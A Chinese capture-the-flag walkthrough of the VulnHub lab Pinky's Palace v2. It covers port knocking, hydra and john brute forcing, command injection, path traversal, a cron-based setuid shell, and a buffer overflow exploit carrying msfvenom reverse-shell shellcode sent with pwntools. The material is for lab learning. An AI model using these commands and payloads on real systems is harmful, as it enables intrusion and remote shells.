下载链接:
Pinky's Palace: v2 ~ VulnHub
安装:
正常用vm虚拟机打开即可,注意导入时所选择的硬盘存储目录应为空目录,否则会导入失败
根据下载链接提示我们需要更改host文件,以便于我们可以正常访问
kali中的host文件位置为 /etc/host
直接输入
vim /etc/hosts
进行编辑即可,在后面加一条192.168.1.3 pinkydb
在本机中host文件位置为C:\Windows\System32\drivers\etc
用记事本打开然后进行添加即可
正文:
得知靶场ip为192.168.1.3
用nmap对靶场端口进行扫描
nmap -p- 192.168.1.3 -r -PN
得到一个80端口开放
访问80端口
滑到最下面得知是wp框架
wp框架有专门的工具进行扫描,我们枚举下用户
wpscan --url http://192.168.1.3 --enumerate u
将得到的用户名保存起来
没有其他可以利用的位置,我们进行目录扫描
dirb http://pinkydb/
在该目录下发现一个文本
经过访问得到了三个类似于端口的东西以及一个用户,我们将其保存下来
结合之前nmap扫描的结果中有端口的状态为过滤,我们可以尝试使用端口敲门
(如果您希望人们可以访问您计算机上的服务,但又不想将防火墙打开到Internet,则可以使用端口断开功能。 它允许您关闭防火墙上允许传入连接的端口,并在进行预先安排的连接尝试方式时自动打开它们。 连接尝试的顺序充当秘密敲门。相当于密码门,我们需要正确的输入密码即按照顺序访问不同的端口才能打开“门”)
需要用到的工具为knock(安装方式:sudo apt-get install knockd iptables-persistent)
指令格式:knock port1 port2 port3
我们需要排列不同的组合来进行依次尝试,我们可以手动进行挨个尝试,也可以编写python脚本进行自动化尝试
我这里采用了python脚本自动化尝试的办法(手动测试容易遗漏排列顺序)
import itertools
import subprocess
# 生成给定数字的所有不同组合
numbers = [8890, 7000, 666]
combinations = list(itertools.permutations(numbers))
# 使用knock工具对每个组合进行尝试
def run_knock():
command = f"knock -v pinkydb {combo[0]} {combo[1]} {combo[2]}"
print(command)
subprocess.run(command,shell=True)#运行shell,即运行工具命令
if __name__ == '__main__':
for combo in combinations:
run_knock()
python k.py
我们再次使用nmap对靶场进行扫描
nmap -p- 192.168.1.3 -r -PN
之前的三个端口状态变为了开启
我们对端口进行指纹探测
nmap -p 4655,7654,31337 -r -PN -A -sC -sV 192.168.1.3
发现7654端口同样为http服务,我们进行访问(如果用的kali进行的敲门服务则需要用kali进行访问,如果用本机进行的敲门服务需要用本机进行的访问,否则会访问失败,我这里的测试均为在kali中进行)
http://pinkydb:7654/
简简单单一个按钮
是个登陆框,尝试使用sql万能密码或者sql注入登陆
经过尝试均以失败告终,该位置并没有sql注入漏洞
用之前信息搜集到的两个账号尝试使用hydra进行爆破
hydra -L user.txt -P user.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"
http-post-form代表提交方式为http的post提交,后续的参数均为网页中对应的表单字段的name属性,/login.php为登陆页面名称,user=^USER^&pass=^PASS^为我们提交的表单,账号密码位置需要用^USER^以及^PASS^进行标识,F=Invalid Username or Password表示如果账号密码不正确会返回什么特征,三个参数中间用“:”,隔开不同网页会有不同的参数
按F12打开开发者工具中的网络选项,然后随便输入一个账号密码进行登陆,获取到表单
在响应位置的这里则是账号密码错误的特征(其他网页不一定!)
详情链接(Hydra(爆破密码)使用方法 - GoodGad - 博客园 (cnblogs.com)以及Hydra爆破[无验证码]Web页面_hydra 网页-CSDN博客)
果然爆破失败了。。。。
我们尝试在主页上爬取一份字典,看能不能爆破成功
cewl http://pinkydb/ -w dict.txt
然后我们再次尝试使用hydra进行爆破(同样也可以选择用bp爆破,不过不知道为什么在kali中bp爆破速度太慢了,所以我选择用hydra)
hydra -L dict.txt -P dict.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"
爆破成功!!
得到账号密码为
Pinky:Passione
尝试进行登陆
登陆成功后给了一个ssh密钥以及一个用户名
将用户名进行保存
将ssh登陆密钥下载下来
我直接邮件复制链接然后使用wget指令下载下来,方便进行查找以及保存
wget http://pinkydb:7654/credentialsdir1425364865/id_rsa
获取shell:
在之前的nmap扫描结果中,得知4655为ssh登陆
尝试使用密钥进行登陆
登陆账号则为刚刚获得的用户名Stefano
ssh stefano@192.168.1.3 -p 4655 -i id_rsa
如果有该提示,则说明密钥权限高并不受保护,所以自动放弃了密钥登陆
需要将密钥权限降低
chmod 600 id_rsa
然后再次尝试登陆
但是发现密钥也需要密码
我们可以用john工具对密钥的密码进行爆破,不过在爆破之前我们需要将密钥转换为john可以识别的内容
我们需要用到ssh2john工具
ssh2john id_rsa > id2_rsa
然后使用john工具进行爆破,字典就选择kali自带的字典进行爆破尝试
john --wordlist=/usr/share/wordlists/rockyou.txt id2_rsa
(如果发现没有该字典,大概率是字典文件没有解压,可以切换到wordlists目录下将rockyou进行解压)
得到登陆密码secretz101(这个字典真的好用)
再次登陆
ssh stefano@192.168.1.3 -p 4655 -i id_rsa
输入密码secretz101
登陆成功
在当前目录下发现tools文件夹以及qsub可运行文件
意思大概为可以用这个文件给pinky发消息
我们尝试一下
但是需要输入密码
我们尝试输入之前的密码,发现不对
那尝试读取该文件
strings qsub
不让读取,我们将该文件下载下来
在当前目录下开启http服务
python3 -m http.server 8080
回到kali中将该文件下载下来
wget http://192.168.1.3:8080/qsub
权限不太够
但是发现我们之前获得到ssh密钥的网页好像有文件包含漏洞
http://pinkydb:7654/pageegap.php?1337=../../../../../../../etc/passwd
那我们可以尝试用这个方法去读取一下qsub文件
查看下路径
pwd
正好发现该文件同样属于www-data
构造url进行读取
http://pinkydb:7654/pageegap.php?1337=../../../../../../../home/stefano/tools/qsub
那再次尝试下载
wget http://pinkydb:7654/pageegap.php?1337=../../../../../../../home/stefano/tools/qsub
将该文件改名方便后续操作
mv 'pageegap.php?1337=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fstefano%2Ftools%2Fqsub' qsub
查看该文件
strings qsub
在这里发现我们所输入的内容会赋值到%s上,但是他下方像是调用了一个环境变量
我们去查看下这个环境变量
echo $TERM
虽然不懂是什么意思,但是当我尝试将其当作密码输入时,提示密码正确!
第一次提权:
尝试使用拼接命令,类似于sql注入将命令拼接起来
./qsub "123;id;"
执行成功
那尝试开启一个shell
./qsub "123;/bin/bash -p;"
(-p则为以当前最高权限开启)
成功!
在家目录中发现一共有三个用户
先回到自己的目录下
cd /home/pinky
在目录下的messages文件夹中没有发现东西
我们查看一下历史命令
cat .bash_history
发现了一点东西,去看看有没有作用
通过查看计划任务发现该目录下的文件为计划任务文件
cat /etc/crontab
我们可以通过编辑该文件从而进一步提权,但是我们是“借用”的pinky用户,所以无法编辑该文件,我们需要更新下用户组
newgrp
现在我们就可以更改该文件了
第二次提权:
vim backup.sh
我们可以在该位置写一个反弹shell或者直接复制一个高权限的bash出来
我直接选择复制一个高权限shell到/tmp目录下,因为该目录一般操作文件权限较高比如下载、写入、删除、运行等
在该文件中写入
cp /bin/bash /tmp/shell #复制一个bash交互到/tmp文件夹下并命名为shell
chmod ugo+x /tmp/shell #赋予所有人运行权限
chmod u+s /tmp/shell #当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限
退出该文件的编辑需要输入 :wq! 不然无法退出
然后我们去到/tmp目录下稍等片刻
我们修改的命令生效了
运行该bash
./shell -p
进一步提权了
回到该用户的目录下,发现只有一份网站源码,并没有其他有用的东西
并且历史命令为空
查看具有suid权限的文件也没有发现可以提权的文件
查看具有root权限的进程
ps -aux | grep root
发现在daemon目录下有一个可疑文件
我们去到对应目录下查看
cd /daemon
strings panel
其中他说这是一个后门程序,不过这个提示很眼熟
我们最开始用nmap对端口进行指纹探测时触发过该提示
看来31337端口则是该文件所监听的端口,如果监听成功则会提示welcome
运行一下看看
全是链接错误提示
将该文件下载下来
在当前目录下开启http服务,然后回到kali中下载
python3 -m http.server 8080
wget http://192.168.1.3:8080/panel
在kali中打开该文件
./panel
新建一个窗口进行nc链接一下
nc 127.0.0.1 31337
但是该窗口并没有任何反应
回到主机中访问链接
http://192.168.1.3:8080/panel
将文件下载后用ida简单查看一下
然后一直点OK即可
在左侧双击main函数,然后按下F5进行简单的查看一下
根据我们之前运行后的提示我们可以找到该位置
v8是消息内容,放到变量buf
我们所输入的数据会存放到buf中然后传参给handlecmd函数
双击handlecmd
回到kali中,我们需要用到一款kali的逆向工具gdb
先安装gdb
apt install gdb
并且需要一份gdb的peda插件
插件的安装方法
先将插件下载到一个固定位置,下载好后就不能更改位置以及名称
git clone https://github.com/longld/peda.git ~/peda
下载完成后打开
我们需要该python文件的路径
然后到/etc/gdb目录下找到gdbinit文件(如果你是用apt安装的gdb的话,否则你需要自行寻找gdbinit位置)
vim gdbinit
我们需要在该文件中写入peda.py文件路径
source /root/gdb_pead/peda/peda.py
可以用该命令验证是否安装成功
gdb -v
插件安装成功截图
如果一直不行的话可以去看看这篇文章:pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_kali gdb-CSDN博客
gdb panel
然后输入 r
让panel开始运行
新开窗口进行nc链接
nc 127.0.0.1 31337
用cyclic工具生成112个字符(pip install --upgrade pwntools)(因为根据之前的逆向得知最大接受限度为112)
cyclic 112
当我们正好输入112个字符时,并没有任何反应,程序正常运行
(经过测试每次调试结束后都需要用killall杀死一遍进程)
这次我们尝试200个字符
程序直接报错了
我们用cyclic工具可以计算一下是多少字符正好可以填满RSP,取RSP的前四个字符就可以计算
得到当我们输入120个字符时,RSP会正好被填满
RIP是存储接下来需要执行命令的位置,如果我们填写的字符数超过了120,则剩下的数据会填写到RIP中,而又因为RIP中存储的为接下来需要执行命令的位置(0x123456格式),所以我们需要正正好好填写120个字符才不会影响接下来的命令执行,如果填写的字符数不足120,则后续在RIP中填写的数据会优先填写到RSP中,从而导致RIP执行命令的位置出现错误,就不会由我们操控,所以我们的思路就是:用msf生成一个shellcode,并且保证为120字符(正好填满RSP),然后在shellcode后加上一个命令地址(0x123456格式),因为RSP已满,所以会到RIP上,又因为RIP为接下来需要执行命令的位置,所以我们可以控制RIP的内容为有Jmp RSP指令或Call RSP指令的地址,这样就会跳转到RSP上(我们构造的payload就在RSP上)
(RSP是一个栈指针寄存器,它指向当前堆栈的栈顶。栈顶是堆栈中最新分配的内存位置。在函数调用过程中,参数、局部变量和其他临时数据都存储在堆栈中。通过调整RSP的值,可以在堆栈上分配和释放内存。在函数调用时,RSP的值被保存在堆栈中,并在函数返回时恢复堆栈状态。)
我们使用msf生成一个shellcode并且排除其中的“x00”,因为会造成截断,
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f python -b '\x00'
生成出来的大小为119字符,我们就随便在后面补上一个就好
第三次提权:
编写一个exp脚本
vim shell.py
from pwn import * #这是导入 pwntools 库,它是一个用于漏洞利用和二进制漏洞开发的 Python 库。
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xcb\x91\x2d\xd0\xf2"
buf += b"\x11\x37\x28\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xa1\xb8\x75\x49\x98\x13\x68\x42\xca"
buf += b"\xcf\x22\xd5\xba\x86\x7f\x91\xc9\x91\x3c\x8c\x32"
buf += b"\xb9\x36\x2c\x9a\xd9\xa4\x36\x98\x01\x6d\x42\xe1"
buf += b"\xc9\x22\xd5\x98\x12\x69\x60\x34\x5f\x47\xf1\xaa"
buf += b"\x1e\x32\x5d\x3d\xfb\x16\x88\x6b\x59\x8c\x07\xa9"
buf += b"\xf8\x43\xff\x81\x79\x37\x7b\x83\x18\xca\x82\xa5"
buf += b"\x59\xbe\xce\xc4\x94\x2d\xd0\xf2\x11\x37\x28\x74"
ret = p64(0x400cfb) #创建一个长度为 8 字节的字符串,其中包含内存地址 0x400cfb 的字节表示。这是一个返回地址,用于在堆栈溢出后控制程序的执行流程。
#ret = "\xfb\x0c\x40\x00"
print (ret)
payload = buf + ret #创建一个新的字节串 payload,将 buf 和 ret 连接起来。这个 payload 包含了恶意输入,用于触发堆栈溢出,并将程序的执行流程指向 0x400cfb。
r = remote("192.168.1.3", 31337) #创建一个IP 地址为 192.168.1.3,端口号为 31337 的远程连接对象。这意味着代码将尝试与运行在本地计算机上的服务器建立连接。
r.recv() #接收来自远程服务器的数据。这里用于清空接收缓冲区。
r.send(payload) #向远程服务器发送 payload 数据,触发堆栈溢出漏洞。
print("ok")
新开一个kali窗口并打开nc监听
nc -lvvp 4444
运行python脚本
python shell.py
nc监听成功
缓存区溢出大概意思